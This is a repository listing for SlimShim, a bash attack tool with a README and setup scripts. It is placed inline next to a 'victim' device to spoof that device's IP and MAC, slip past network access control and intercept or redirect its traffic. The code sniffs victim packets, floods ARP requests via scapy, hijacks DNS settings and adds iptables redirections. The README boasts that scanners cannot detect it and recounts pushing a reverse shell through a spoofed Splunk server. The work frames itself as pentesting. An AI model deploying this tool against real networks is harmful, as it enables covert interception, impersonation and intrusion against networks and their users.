├── slimrun.sh
├── README.md
└── slimshim
/slimrun.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 | # 20160710 Kirby
3 |
4 | which screen >/dev/null 2>&1
5 | if [ $? != 0 ]; then
6 | echo "FATAL ERROR: you are missing the program: screen"
7 | exit 1
8 | fi
9 |
10 |
11 | /root/slimshim autoshim
12 |
13 | # add my wifi network so I can route through the SlimShim
14 | /root/slimshim addLan --lan=192.0.0.0/24 --envfile=/root/slimshim.env
15 |
16 | # redirect inbound 2501 to ssh on SlimShim
17 | /root/slimshim redirectIngressPort --proto=tcp --rdrport=2501 --dstport=22 --envfile=/root/slimshim.env
18 |
19 | # redirect outbound to 1.1.1.1 to SlimShim
20 | /root/slimshim redirectEgressIP --origdip=1.1.1.1 --envfile=/root/slimshim.env
21 |
22 | # redirect outbound to bing.com for http to google.com
23 | /root/slimshim redirectEgressPort --envfile=/root/slimshim.env --origdip=204.79.197.200 --newdip=172.217.4.110 --proto=tcp --dstport=80
24 |
25 | # Watch for DNS requests and update resolv.conf
26 | screen -dmS getdns /root/slimshim getdns
27 |
28 | # Watch for arps and add to arp/route table
29 | # THIS IS REQUIRED for SlimShim to connect to other devices on the LAN
30 | screen -dmS arpwatch /root/slimshim arpwatch
31 |
32 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | SlimShim is a script that performs IP and MAC address spoofing of a directly-connected device without interrupting traffic to and from that device. A SlimShim has 2 ethernet ports that is plugged in between the victim device and the switch/router. The SlimShim acts as a switch and injects spoofed packets below the radar (source ports).
2 |
3 | UPDATE: After all the work of testing and scripting, it turns out I just re-invented the wheel. The idea was already conceived by Alva Lease ‘Skip’ Duckwall IV and he did a presentation at Defcon 19. His script is called 8021xbridge. I like my script better. It is better at network guessing and supports 802.1q.
4 |
5 |
6 | QUICK OVERVIEW/TL;DR
7 |
8 | The device you shim will remain up and connected. Nothing on the victim device will change.
9 | This allows you to get past NAC (as long as you shim a trusted device).
10 | This allows you to MITM the device connecting through the SlimShim.
11 | This allows you to spoof as any device connected to the SlimShim.
12 | If you attack the victim, you will appear as the router.
13 | If your SlimShim has wifi, you can route through it and appear as the victim.
14 | Everything is transparent to the network.
15 | A network scanner cannot detect SlimShim
16 | Code is available at https://github.com/mtkirby/slimshim
17 | Only IPv4 is supported at the moment. IPv6 is coming soon.
18 | 802.1q vlans can be shimmed.
19 | Slimshim mimics the TTL of the victim device.
20 | You will need expert-level skills of Linux and networking to understand how this works.
21 | You need to plug the victim into eth1. The network guess function sniffs for input packets on that interface.
22 |
23 |
24 |
25 | TODO/Upcoming features:
26 |
27 | IPv6 support
28 |
29 | SlimShim is a bash script that runs iptables and ebtables commands to mimic the IP and MAC of the victim. It will use an ephemeral port (source ports) range below the range used by Windows and Linux devices. SlimShim will forward a lower range of ephemeral ports to itself, such as ports 27000-32000.
30 |
31 | SlimShim can run on any device that has 2 ethernet ports. I use it on a Raspberry Pi(with a usb ethernet) running Kali and a Nexx WT3020 running OpenWRT. To shim a PC, simply unplug it's ethernet and plug the cable into the SlimShim and plug the other SlimShim ethernet into the PC. You may need a cross-over cable if your device can't configure it automatically. The two interfaces on the SlimShim are bridged, so it acts as a switch. The victim device does not know it has been shimmed and neither does the router.
32 | I have wifi AP setup on my SlimShims so that I can connect to victim's network with a laptop and still appear as the victim IP/MAC.
33 |
34 |
35 | The hardest part of shimming a victim is to get the IP/MAC of the victim and router. On my SlimShims, I have the slimrun.sh start on bootup via rc.local (/root/slimrun.sh >/tmp/slimrun.log 2>&1). The slimshim script will run 3 tcpdumps to attempt to guess the IP/MAC of the victim and router. The script should also work if you are shimming a server that is receiving mostly inbound packets, such as a networked security camera (which is a funny story for another time).
36 |
37 | The method I use to guess the network is as follows:
38 |
39 | 1) Start a loop to sniff for packets. If anything doesn’t look right, start over.
40 |
41 | 2) Sniff for inbound packets on eth1, where the victim device is plugged in. This gets the victim IP, MAC, TTL, and 802.1q vlan tag(if used).
42 |
43 | 3) Get the route MAC by sniffing for packets that are sent to the victim IP, look for non-standard TTLs (because we want packets that were hopped), and ignore any local network packets (assuming we’re on a /24).
44 |
45 | 4) Now for the hard part, which is getting the router IP. We have to watch for an arp request for who has the router MAC we got from the previous sniff. This may take a while for the victim to re-query the router IP, so to speed it up I re-plumb eth1 and also use scapy(if installed) to flood the assumed /24 with arp requests.
46 |
47 |
48 | The script will also watch for DNS queries and update /etc/resolv.conf with the nameserver that the victim is using.
49 |
50 | The script will also forward all connections to 1.1.1.1 to the SlimShim. This allows the victim PC to connect to the SlimShim, which is useful to me when I’m pentesting. The script will also forward port 2501 to it’s ssh service so I can connect to SlimShim from elsewhere on the network.
51 |
52 | The redirectIngressPort and redirectIngressPorts functions can redirect traffic that is destined to the victim. This is useful for opening ports to be used for reverse-bind attacks when I attack the network.
53 |
54 | The redirectEgressPort function can redirect traffic from the victim so that I can redirect DNS, or anything, for MITM attacks. I once redirected a victim running Splunk Forwarder to a malicious Splunk server that I setup and deployed an app that opened a reverse shell.
55 |
56 | The source is available at https://github.com/mtkirby/slimshim
57 | It is GPLv3.
58 |
59 | The slimshim.sh script will create an environment log file in /root that you can source and use the variables for your own scripts.
60 |
61 | So how can you protect your network against SlimShims? You'd need your firewalls to log all connections that use a source port range of 27000-32000.
62 |
63 | The goals of this project were as follows:
64 |
65 | The victim should not perceive any manipulation to the router IP and MAC and vice versa.
66 | The victim can connect to the shim box, but only when I allow it. This is for when I shim my own PC to do pentesting.
67 | NAC cannot see any changes and should trust the SlimShim just as it trusts the victim.
68 | The SlimShim can allow any inbound connections to the victim. (In case any services such as RDP, NAC agents, etc.).
69 | SlimShim can connect to the network spoofed as the victim's IP and MAC.
70 | A network scanner cannot detect SlimShim.
71 | SlimShim can redirect the victim's traffic and perform MITM attacks.
72 |
73 |
74 |
75 |
76 |
77 |
78 |
79 | #############################################################################
80 | How to setup SlimShim on a Raspberry Pi running Kali:
81 | First get a usb ethernet adapter because SlimShim requires 2 ethernets.
82 | Setup your /etc/network/interfaces like so:
83 |
84 | auto lo
85 | iface lo inet loopback
86 |
87 | auto eth0
88 | iface eth0 inet manual
89 | up ifconfig $IFACE up
90 |
91 | auto eth1
92 | iface eth1 inet manual
93 | up ifconfig $IFACE up
94 |
95 | auto wlan0
96 | iface wlan0 inet static
97 | address 192.0.0.1
98 | netmask 255.255.255.0
99 |
100 | Setup wifi. Add this to /etc/hostapd/hostapd.conf. Ssid is slimshim and password is Gaddafi'd! (anyone get the reference?)
101 |
102 | interface=wlan0
103 | driver=nl80211
104 | ssid=slimshim
105 | hw_mode=g
106 | channel=1
107 | macaddr_acl=0
108 | auth_algs=1
109 | ignore_broadcast_ssid=2
110 | wpa=2
111 | wpa_passphrase=Gaddafi'd!
112 | wpa_key_mgmt=WPA-PSK
113 | wpa_pairwise=TKIP
114 | rsn_pairwise=CCMP
115 | ieee80211n=1
116 | require_ht=1
117 |
118 |
119 | Setup dhcp for the wifi interface. Add this to /etc/dhcp/dhcpd.conf
120 |
121 | ddns-update-style none;
122 | option domain-name "shim.lan";
123 | option domain-name-servers 8.8.8.8;
124 | subnet 192.0.0.0 netmask 255.255.255.0 {
125 | range 192.0.0.10 192.0.0.254;
126 | }
127 | default-lease-time 600;
128 | max-lease-time 7200;
129 | log-facility local7;
130 |
131 | The script will create a br-lan bridge and assign it 169.254.0.1/24 with MAC of 00:01:01:01:01:01. The wifi interface will be 192.0.0.1/24. You can ssh to it once you are connected to wifi. Add it as your default route if you want to route through the SlimShim.
132 | Copy the code from Github and put in /root/. Now run slimrun.sh
133 | I have the slimrun.sh start on bootup via rc.local (/root/slimrun.sh >/tmp/slimrun.log 2>&1).
134 | If that ran without errors, try to telnet to a website to see if everything is working. You can sniff the interface to verify your IP/MAC spoofs. The source port range should be within the range specified in the slimshim script.
135 | That should do it. Let me know if something doesn't work for you.
136 |
137 |
138 | #############################################################################
139 | How to setup SlimShim on a Nexx WT3020. These things are only $15-$20. They are powered by usb. They don't have much storage or ram, so don't expect much beyond shimming a victim and maybe run a small nmap scan.
140 | First install OpenWRT or LEDE. I have mine modified to use a usb thumbdrive for storage. The Nexx has very little storage and you won't be able to do much without a thumbdrive extension. There is documentation on OpenWRT's site on how to use a thumbdrive as an overlay filesystem. I use a sandisk ultrafit 16gb. I compiled a custom OpenWRT build, but that was probably overkill.
141 | You should at the very least add these packages: arptables bash ebtables ebtables-utils ip ip-bridge ip-full ip6tables iptables kmod-bridge kmod-ebtables* kmod-ipt-* kmod-nf-conntrack* kmod-nf-ipt* kmod-nf-nat* kmod-nfnetlink kmod-nft-core kmod-nft-nat nftables swconfig
142 |
143 | Run these uci commands:
144 |
145 | uci delete wireless.radio0
146 | uci set wireless.radio0=wifi-device
147 | uci set wireless.radio0.type='mac80211'
148 | uci set wireless.radio0.channel='11'
149 | uci set wireless.radio0.hwmode='11g'
150 | uci set wireless.radio0.path='10180000.wmac'
151 | uci set wireless.radio0.htmode='HT20'
152 | uci set wireless.radio0.txpower='20'
153 | uci set wireless.radio0.country='00'
154 |
155 | uci delete wireless.@wifi-iface[0]
156 | uci add wireless wifi-iface
157 | uci set wireless.@wifi-iface[0]=wifi-iface
158 | uci set wireless.@wifi-iface[0].device='radio0'
159 | uci set wireless.@wifi-iface[0].mode='ap'
160 | uci set wireless.@wifi-iface[0].ssid='slimshim'
161 | uci set wireless.@wifi-iface[0].hidden='1'
162 | uci set wireless.@wifi-iface[0].encryption='psk2'
163 | uci set wireless.@wifi-iface[0].key='Gaddafi'\''d!'
164 | uci set wireless.@wifi-iface[0].network='wifi'
165 |
166 | uci delete dhcp.lan
167 | uci delete dhcp.wan
168 | uci delete dhcp.odhcpd
169 | uci delete dhcp.wifi
170 | uci set dhcp.lan=dhcp
171 | uci set dhcp.lan.interface='lan'
172 | uci set dhcp.lan.ignore='1'
173 | uci set dhcp.wan=dhcp
174 | uci set dhcp.wan.interface='wan'
175 | uci set dhcp.wan.ignore='1'
176 | uci set dhcp.odhcpd=odhcpd
177 | uci set dhcp.odhcpd.maindhcp='0'
178 | uci set dhcp.odhcpd.leasefile='/tmp/hosts/odhcpd'
179 | uci set dhcp.odhcpd.leasetrigger='/usr/sbin/odhcpd-update'
180 | uci set dhcp.wifi=dhcp
181 | uci set dhcp.wifi.leasetime='12h'
182 | uci set dhcp.wifi.limit='150'
183 | uci set dhcp.wifi.interface='wifi'
184 | uci set dhcp.wifi.start='10'
185 |
186 | uci set dropbear.@dropbear[0].GatewayPorts='on'
187 |
188 | while uci show firewall 2>&1|grep -q firewall
189 | do
190 | for i in $(uci show firewall|cut -d'=' -f1)
191 | do
192 | uci delete $i >/dev/null 2>&1
193 | done
194 | done
195 |
196 | uci add firewall defaults
197 | uci set firewall.@defaults[0]=defaults
198 | uci set firewall.@defaults[0].input='ACCEPT'
199 | uci set firewall.@defaults[0].output='ACCEPT'
200 | uci set firewall.@defaults[0].forward='ACCEPT'
201 | uci add firewall zone
202 | uci set firewall.@zone[0]=zone
203 | uci set firewall.@zone[0].name='lan'
204 | uci set firewall.@zone[0].input='ACCEPT'
205 | uci set firewall.@zone[0].output='ACCEPT'
206 | uci set firewall.@zone[0].forward='ACCEPT'
207 | uci set firewall.@zone[0].network=' '
208 | uci add firewall zone
209 | uci set firewall.@zone[1]=zone
210 | uci set firewall.@zone[1].name='wan'
211 | uci set firewall.@zone[1].output='ACCEPT'
212 | uci set firewall.@zone[1].network='wan wan6'
213 | uci set firewall.@zone[1].input='ACCEPT'
214 | uci set firewall.@zone[1].forward='ACCEPT'
215 | uci add firewall forwarding
216 | uci set firewall.@forwarding[0]=forwarding
217 | uci set firewall.@forwarding[0].src='lan'
218 | uci set firewall.@forwarding[0].dest='wan'
219 | uci add firewall include
220 | uci set firewall.@include[0]=include
221 | uci set firewall.@include[0].path='/etc/firewall.user'
222 |
223 | uci set network.lan._orig_ifname='eth0.1'
224 | uci set network.lan._orig_bridge='true'
225 | uci set network.lan.ifname='eth0.1 eth0.2'
226 | uci set network.lan.ipaddr='169.254.0.1'
227 | uci set network.lan.netmask='255.255.255.0'
228 | uci set network.lan.force_link='1'
229 | uci set network.lan.delegate=0
230 | uci delete network.lan.ip6assign
231 |
232 | uci set network.@switch_vlan[0].ports='0 6t'
233 | uci set network.@switch_vlan[0].vid='1'
234 | uci set network.@switch_vlan[1].ports='4 6t'
235 | uci set network.@switch_vlan[1].vid='2'
236 |
237 | uci set network.wifi=interface
238 | uci set network.wifi._orig_ifname='wlan0'
239 | uci set network.wifi._orig_bridge='false'
240 | uci set network.wifi.proto='static'
241 | uci set network.wifi.ipaddr='192.0.0.1'
242 | uci set network.wifi.netmask='255.255.255.0'
243 | uci set network.wifi.delegate='0'
244 |
245 | uci delete network.wan
246 | uci delete network.wan6
247 |
248 | uci set system.@system[0].hostname=slimshim
249 |
250 | uci commit
251 |
252 | Copy the code from Github and put in /root/. Now run slimrun.sh
253 | I have the slimrun.sh start on bootup via rc.local (/root/slimrun.sh >/tmp/slimrun.log 2>&1).
254 |
255 | If that ran without errors, try to telnet to a website to see if everything is working. You can sniff the interface to verify your IP/MAC spoofs. The source port range should be within the range specified in the slimshim script. The slimshim script will blink the power led at a slow pace when it wants you to unplug and replug the vicim ethernet to get the router's MAC.
256 |
257 |
258 | Other packages you may want to install:
259 | opkg update
260 | opkg install aircrack-ng airmon-ng apache arp-scan arptables at autossh bc bind-check bind-client bind-dig bind-dnssec bind-host bind-libs bind-rndc bind-server bind-tools bzip2 ca-bundle ca-certificates certtool coreutils curl ddns-scripts ddns-scripts_cloudflare.com-v4 ddns-scripts_freedns_42_pl ddns-scripts_godaddy.com-v1 ddns-scripts_no-ip_com ddns-scripts_nsupdate ddns-scripts_route53-v1 diffutils dmesg dmidecode ebtables ebtables-utils emailrelay ethtool extract file fstools fstrim git git-http gnupg gnupg-utils haproxy hdparm htop ifstat iftop iodine iodined ip-bridge ip-full ipmitool ipsec-tools iw-full iwcap iwinfo jq less lftp lsof macchanger mariadb-client mariadb-client-extra mii-tool mtr ncat-ssl ndiff netcat nginx nmap-ssl openssh-client openssh-client-utils openssh-keygen openssh-moduli openssh-server openssh-sftp-client openssh-sftp-server openssl-util perl perl-net-http perl-net-telnet pgsql-cli pgsql-cli-extra pppdump python python3 python3-openssl python3-pip python3-setuptools quagga quagga-bgpd quagga-isisd quagga-libospf quagga-libzebra quagga-ospf6d quagga-ospfd quagga-ripd quagga-ripngd quagga-vtysh quagga-watchquagga reaver relayctl relayd rsync rsyncd ruby ruby-openssl samba36-client samba36-hotplug samba36-net samba36-server scapy screen script-utils snmp-mibs snmp-utils socat socksify sshfs sshtunnel sslh ssmtp strace stunnel tcpbridge tcpcapinfo tcpdump tcpdump-mini tcpliveplay tcpprep tcpproxy tcpreplay tcpreplay-all tcpreplay-edit tcprewrite thc-ipv6-address6 thc-ipv6-alive6 thc-ipv6-covert-send6 thc-ipv6-covert-send6d thc-ipv6-denial6 thc-ipv6-detect-new-ip6 thc-ipv6-detect-sniffer6 thc-ipv6-dnsdict6 thc-ipv6-dnsrevenum6 thc-ipv6-dos-new-ip6 thc-ipv6-dump-router6 thc-ipv6-exploit6 thc-ipv6-fake-advertise6 thc-ipv6-fake-dhcps6 thc-ipv6-fake-dns6d thc-ipv6-fake-dnsupdate6 thc-ipv6-fake-mipv6 thc-ipv6-fake-mld26 thc-ipv6-fake-mld6 thc-ipv6-fake-mldrouter6 thc-ipv6-fake-router26 thc-ipv6-fake-router6 thc-ipv6-fake-solicitate6 thc-ipv6-flood-advertise6 thc-ipv6-flood-dhcpc6 thc-ipv6-flood-mld26 thc-ipv6-flood-mld6 thc-ipv6-flood-mldrouter6 thc-ipv6-flood-router26 thc-ipv6-flood-router6 thc-ipv6-flood-solicitate6 thc-ipv6-fragmentation6 thc-ipv6-fuzz-dhcpc6 thc-ipv6-fuzz-dhcps6 thc-ipv6-fuzz-ip6 thc-ipv6-implementation6 thc-ipv6-implementation6d thc-ipv6-inverse-lookup6 thc-ipv6-kill-router6 thc-ipv6-ndpexhaust6 thc-ipv6-node-query6 thc-ipv6-parasite6 thc-ipv6-passive-discovery6 thc-ipv6-randicmp6 thc-ipv6-redir6 thc-ipv6-rsmurf6 thc-ipv6-sendpees6 thc-ipv6-sendpeesmp6 thc-ipv6-smurf6 thc-ipv6-thcping6 thc-ipv6-toobig6 thc-ipv6-trace6 tor tor-gencert tor-geoip tor-resolve trace-cmd trace-cmd-extra tracertools unrar unzip usbutils vnstat wget wireguard wireguard-tools wpa-cli xinetd xz xz-utils
261 |
--------------------------------------------------------------------------------
/slimshim:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 | # 20191007 Kirby
3 |
4 | ################################################################################
5 | # LICENSE
6 | #
7 | # This program is free software: you can redistribute it and/or modify
8 | # it under the terms of the GNU General Public License as published by
9 | # the Free Software Foundation, either version 3 of the License, or
10 | # (at your option) any later version.
11 | #
12 | # This program is distributed in the hope that it will be useful,
13 | # but WITHOUT ANY WARRANTY; without even the implied warranty of
14 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
15 | # GNU General Public License for more details.
16 | #
17 | # You should have received a copy of the GNU General Public License
18 | # along with this program. If not, see .
19 | ################################################################################
20 |
21 | # To check script sanity, run:
22 | ##shellcheck -e SC2086,SC2001 slimshim
23 |
24 | ################################################################################
25 | function do_guess()
26 | {
27 | local sniff
28 | local sip
29 | local rip
30 | local rmac
31 | local smac
32 | local led
33 | local dev='eth1'
34 | local dirarg
35 | local netguess
36 | local ttl
37 | local vlan
38 | local tcpdumpcmd
39 | local scapy=0
40 | local dumpargs="tcp and not ether src ${ARGS[mymac]} and not ether dst ${ARGS[mymac]} and not ether src ff:ff:ff:ff:ff:ff and not ether dst ff:ff:ff:ff:ff:ff and not port 68 and not port 67 and not port 137 and not port 139 and not ip6 and not host ${ARGS[myip]} and not net 224.0.0.0/4 and not net 169.254.0.0/16 and not host 0.0.0.0"
41 |
42 | # We are going to look for inbound packets on eth1 where the victim device should be plugged in
43 | # OpenWRT's tcpdump uses -P for direction. Other distros use -Q
44 | tcpdump --help 2>&1 |grep -q '\-P' && dirarg='-P in'
45 | tcpdump --help 2>&1 |grep -q '\-Q' && dirarg='-Q in'
46 |
47 | # eth0.2 on the Nexx WT3020 is in the center of the device. Plug that interface into the victim.
48 | if ip link show eth1 >/dev/null 2>&1
49 | then
50 | dev=eth1
51 | elif ip link show eth0.2 >/dev/null 2>&1
52 | then
53 | dev=eth0.2
54 | else
55 | echo "FATAL ERROR: you are missing either eth1 or eth0.2"
56 | exit 1
57 | fi
58 |
59 | while :
60 | do
61 | # Determine the victim's IP/MAC by watching inbound packets on the interface.
62 | # It is critical that eth1 be plugged directly into the victim.
63 | tcpdumpcmd="tcpdump -v -c1 -e -nni $dev $dirarg $dumpargs"
64 | echo "############################################"
65 | echo "# running $tcpdumpcmd"
66 | echo "############################################"
67 | sniff=$($tcpdumpcmd 2>/dev/null)
68 | echo "############################################"
69 | echo "# PACKET: $sniff"
70 | echo "############################################"
71 | sip=$(echo $sniff |sed -e 's/.* \([0-9]*\.[0-9]*\.[0-9]*\.[0-9]*\)\.[0-9]* > .*/\1/')
72 | smac=$(echo $sniff |awk '{print $2}')
73 | ttl=$(echo $sniff |sed -e 's/.* ttl \([0-9]*\), .*/\1/')
74 |
75 | # Sanity checks
76 | if ! echo $sip |egrep -q "^[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+$"
77 | then
78 | echo "# BAD SIP $sip"
79 | echo "# Gonna loop again"
80 | continue
81 | fi
82 | if ! echo $smac |egrep -q "^[0-9a-f]+:[0-9a-f]+:[0-9a-f]+:[0-9a-f]+:[0-9a-f]+:[0-9a-f]+$"
83 | then
84 | echo "# BAD SMAC $smac"
85 | echo "# Gonna loop again"
86 | continue
87 | fi
88 | if ! echo $ttl |egrep -q "^[0-9]+$"
89 | then
90 | echo "# BAD TTL $ttl"
91 | echo "# Gonna loop again"
92 | continue
93 | fi
94 | if [[ $ttl -lt 64 ]]
95 | then
96 | echo "# WARNING: ttl $ttl is probably not right. This may be a bad sniff. Setting to 64"
97 | ttl=64
98 | fi
99 |
100 | # Detect if this is an 802.1q network and grab the vlan id.
101 | if echo $sniff |grep -q ' vlan '
102 | then
103 | vlan=$(echo $sniff |sed -e 's/.* vlan \([0-9]*\), .*/\1/')
104 | if ! echo $vlan |egrep -q "^[0-9]+$"
105 | then
106 | echo "# WTF. Bad vlan $vlan. Gonna ignore and not set the vlan."
107 | vlan=''
108 | fi
109 | else
110 | vlan=''
111 | fi
112 |
113 | echo "sip=$sip"
114 | echo "smac=$smac"
115 | echo "ttl=$ttl"
116 | echo "vlan=$vlan"
117 |
118 | # Now sniff for packets with a non-default ttl to get router mac. Anything that hopped has decremented ttl.
119 | # Also assume that network is /24 and ignore local traffic as an extra precaution.
120 | netguess="${sip%.*}.0"
121 | echo "netguess=$netguess/24"
122 | tcpdumpcmd="tcpdump -c1 -v -e -nni br-lan dst host $sip and not src net $netguess/24 and ip[8] != 64 and ip[8] != 128 and $dumpargs"
123 | echo "############################################"
124 | echo "# running $tcpdumpcmd"
125 | echo "############################################"
126 | sniff=$($tcpdumpcmd 2>/dev/null)
127 | echo "############################################"
128 | echo "# PACKET: $sniff"
129 | echo "############################################"
130 | rmac=$(echo $sniff |awk '{print $2}')
131 | echo "rmac=$rmac"
132 |
133 | if [[ "$smac" == "$rmac" ]]
134 | then
135 | echo "############################################"
136 | echo "# BAD DATA"
137 | echo "# $sniff"
138 | echo "############################################"
139 | else
140 | break
141 | fi
142 | done
143 |
144 |
145 | echo "# Getting routerip."
146 | echo "# Wait until victim arp queries the router mac"
147 | echo "# OR unplug and replug ethernet (to victim) to run quicker"
148 | while :
149 | do
150 | # Do a 1 second off, 2 seconds on blink of power led
151 | if [[ -f "/sys/class/leds/nexx:blue:power/brightness" ]]
152 | then
153 | led="/sys/class/leds/nexx:blue:power/brightness"
154 | touch /tmp/blink
155 | blinkled $led &
156 | fi
157 |
158 | # On some devices you can run ip link dev down/up to simulate the unplug, but it will break on OpenWRT/LEDE
159 | if grep -q Kali /etc/os-release 2>/dev/null
160 | then
161 | echo "#"
162 | echo "# Turning off/on interfaces to speed this up"
163 | echo "# This will only work on hosts using dhcp"
164 | echo "# Disable this in the script if your device becomes unresponsive"
165 | ip link set dev eth1 down
166 | sleep 1
167 | ip link set dev eth1 up
168 | fi
169 |
170 | # Send arp request via scapy if we have it.
171 | # Background it so we can catch it on the next tcpdump
172 | # YOU MAY WANT TO DISABLE THIS.
173 | # This will flood the guessed network with arp requests in hopes of finding the router ip to match the route mac
174 | if which scapy >/dev/null 2>&1
175 | then
176 | scapy=1
177 | echo "# Sending arp via scapy to the assumed network $netguess/24"
178 | if [[ x$vlan != 'x' ]]
179 | then
180 | ( sleep 3; echo "srp(Ether(dst='ff:ff:ff:ff:ff:ff',src='$smac')/Dot1Q(vlan=$vlan)/ARP(pdst='$netguess/24',psrc='$sip',hwsrc='$smac'),timeout=30,iface='br-lan')" |scapy >/dev/null 2>&1 ) &
181 | else
182 | ( sleep 3; echo "srp(Ether(dst='ff:ff:ff:ff:ff:ff',src='$smac')/ARP(pdst='$netguess/24',psrc='$sip',hwsrc='$smac'),timeout=30,iface='br-lan')" |scapy >/dev/null 2>&1 ) &
183 | fi
184 | fi
185 |
186 | # 21:33:32.482541 ARP, Reply 192.168.1.1 is-at 68:05:ca:32:5e:85, length 46
187 | echo "#"
188 | echo "# You may want to spoof arp requests with scapy"
189 | echo "# Run this in another terminal:"
190 | echo "# echo \"srp(Ether(dst='ff:ff:ff:ff:ff:ff',src='$smac')/ARP(pdst='####GUESSTHENETWORK####/24',psrc='$sip',hwsrc='$smac'),timeout=30,iface='br-lan')\" |scapy"
191 | echo "#"
192 | sniff=$(tcpdump -c1 -nni br-lan ether src $rmac and arp 2>/dev/null)
193 | rip=$(echo $sniff |sed -e 's/.* Reply \(.*\) is-at .*/\1/')
194 | if [[ "$rip" == "$sip" ]]
195 | then
196 | echo "############################################"
197 | echo "# BAD DATA"
198 | echo "# $sniff"
199 | echo "############################################"
200 | elif echo $rip |egrep -q "^[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+$"
201 | then
202 | echo "#"
203 | echo "# PACKET: $sniff"
204 | echo "#"
205 | if [[ $scapy == 1 ]]
206 | then
207 | kill %1 >/dev/null 2>&1
208 | fi
209 | break
210 | fi
211 | echo "############################################"
212 | echo "# Something went wrong. Gonna loop"
213 | echo "# $sniff"
214 | echo "############################################"
215 | done
216 | if [[ $scapy == 1 ]]
217 | then
218 | kill %1 >/dev/null 2>&1
219 | fi
220 | if [[ -f "/tmp/blink" ]]
221 | then
222 | rm /tmp/blink
223 | echo 0 > $led
224 | fi
225 | echo "rip=$rip"
226 |
227 | ARGS[rip]=$rip
228 | ARGS[rmac]=$rmac
229 | ARGS[sip]=$sip
230 | ARGS[smac]=$smac
231 | ARGS[ttl]=$ttl
232 | ARGS[vlan]=$vlan
233 | }
234 | ################################################################################
235 | function blinkled()
236 | {
237 | local ledfile=$1
238 | while [[ -f /tmp/blink ]]
239 | do
240 | echo 1 > $ledfile
241 | sleep 1
242 | echo 0 > $ledfile
243 | sleep 2
244 | done
245 | }
246 | ################################################################################
247 | function do_getdns()
248 | {
249 | local dns
250 | local sniff
251 |
252 | # Disable dnsmasq because it will overwrite our settings
253 | /etc/init.d/dnsmasq stop >/dev/null 2>&1
254 | systemctl stop dnsmasq >/dev/null 2>&1
255 | service dnsmasq stop >/dev/null 2>&1
256 | pkill dnsmasq >/dev/null 2>&1
257 | sleep 1
258 |
259 | # First add Google DNS so we can do resolution before we see requests
260 | rm -rf /etc/resolv.conf >/dev/null 2>&1
261 | echo 'nameserver 8.8.8.8' > /etc/resolv.conf
262 |
263 | # Loop the sniffer until we have a valid IP and make it the primary nameserver
264 | while ! echo $dns |egrep -q "^[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+$"
265 | do
266 | sniff=$(tcpdump -c1 -nni br-lan "not ip6 and udp and dst port 53" 2>/dev/null)
267 | # 04:40:30.876500 IP 192.168.1.19.59369 > 192.168.1.1.53: 13937+ A? cnn.com. (25)
268 | dns=$(echo $sniff |sed -e 's/.* > \([0-9]*\.[0-9]*\.[0-9]*\.[0-9]*\)\.[0-9]*: .*/\1/')
269 | if ! grep -q $dns /etc/resolv.conf
270 | then
271 | echo "nameserver $dns" > /etc/resolv.conf
272 | fi
273 | if ! grep -q 8.8.8.8 /etc/resolv.conf
274 | then
275 | echo "nameserver 8.8.8.8" >> /etc/resolv.conf
276 | fi
277 | done
278 | }
279 | ################################################################################
280 | function do_arpwatch()
281 | {
282 | local ip
283 | local mac
284 | local vlan
285 | local sniff
286 | local brdev
287 |
288 | # This is a forever loop.
289 | # We continuously watch for arps and add to the arptable and route table.
290 | while :
291 | do
292 | # Continuosly check for br-lan in case shim is stopped or restarted.
293 | if brctl show |grep -q br-lan
294 | then
295 | sniff=$(tcpdump -v -e -c1 -nni br-lan arp 2>/dev/null)
296 | ip=''
297 | mac=''
298 | if echo $sniff |grep -q ' vlan '
299 | then
300 | vlan=$(echo $sniff |sed -e 's/.* vlan \([0-9]*\), .*/\1/')
301 | brdev="br-lan.$vlan"
302 | else
303 | vlan=''
304 | brdev='br-lan'
305 | fi
306 | if echo $sniff |grep -q is-at
307 | then
308 | mac=$(echo $sniff |sed -e 's/.* is-at \(.*\), .*/\1/')
309 | ip=$(echo $sniff |sed -e 's/.* Reply \(.*\) is-at .*/\1/')
310 | fi
311 | if echo $sniff |grep -q who-has
312 | then
313 | mac=$(echo $sniff |awk '{print $2}')
314 | ip=$(echo $sniff |sed -e 's/.* tell \(.*\), .*/\1/')
315 | fi
316 | if [[ -n $ip ]] \
317 | && [[ -n $mac ]] \
318 | && [[ $ip != "${ARGS[myip]}" ]] \
319 | && [[ $ip != '0.0.0.0' ]] \
320 | && [[ $mac != "${ARGS[mymac]}" ]] \
321 | && [[ $mac != 'ff:ff:ff:ff:ff:ff' ]]
322 | then
323 | if ! ip neigh |egrep "^$ip " |grep -q $mac
324 | then
325 | echo $sniff
326 | echo "adding arp for $ip at $mac"
327 | ip neigh replace $ip lladdr $mac dev $brdev >/dev/null 2>&1
328 | route add $ip dev $brdev >/dev/null 2>&1
329 | echo ""
330 | fi
331 | fi
332 | else
333 | # May be waiting for shim to complete.
334 | # Sleep and try again.
335 | sleep 1
336 | fi
337 | done
338 | }
339 | ################################################################################
340 | # redirect outbound traffic from victim($sip) to destination($dip)
341 | function redirectEgressIP()
342 | {
343 | if [[ -z ${ARGS[newdip]} ]]
344 | then
345 | ARGS[newdip]=${ARGS[myip]}
346 | fi
347 | if [[ -z ${ARGS[sip]} ]] \
348 | || [[ -z ${ARGS[origdip]} ]] \
349 | || [[ -z ${ARGS[newdip]} ]] \
350 | || [[ -z ${ARGS[mymac]} ]]
351 | then
352 | echo "FAILURE: invalid args"
353 | exit 1
354 | fi
355 | set -x
356 | iptables -t nat -A PREROUTING -s ${ARGS[sip]} -d ${ARGS[origdip]} -p tcp -j DNAT --to-destination ${ARGS[newdip]}
357 | set +x
358 | }
359 | ################################################################################
360 | # redirect outbound traffic from victim($sip) to destination($dip) for port $dstport
361 | function redirectEgressPort()
362 | {
363 | if [[ -z ${ARGS[dstport]} ]] \
364 | || [[ -z ${ARGS[proto]} ]] \
365 | || [[ -z ${ARGS[sip]} ]] \
366 | || [[ -z ${ARGS[origdip]} ]] \
367 | || [[ -z ${ARGS[newdip]} ]] \
368 | || [[ -z ${ARGS[mymac]} ]]
369 | then
370 | echo "FAILURE: invalid args"
371 | exit 1
372 | fi
373 | set -x
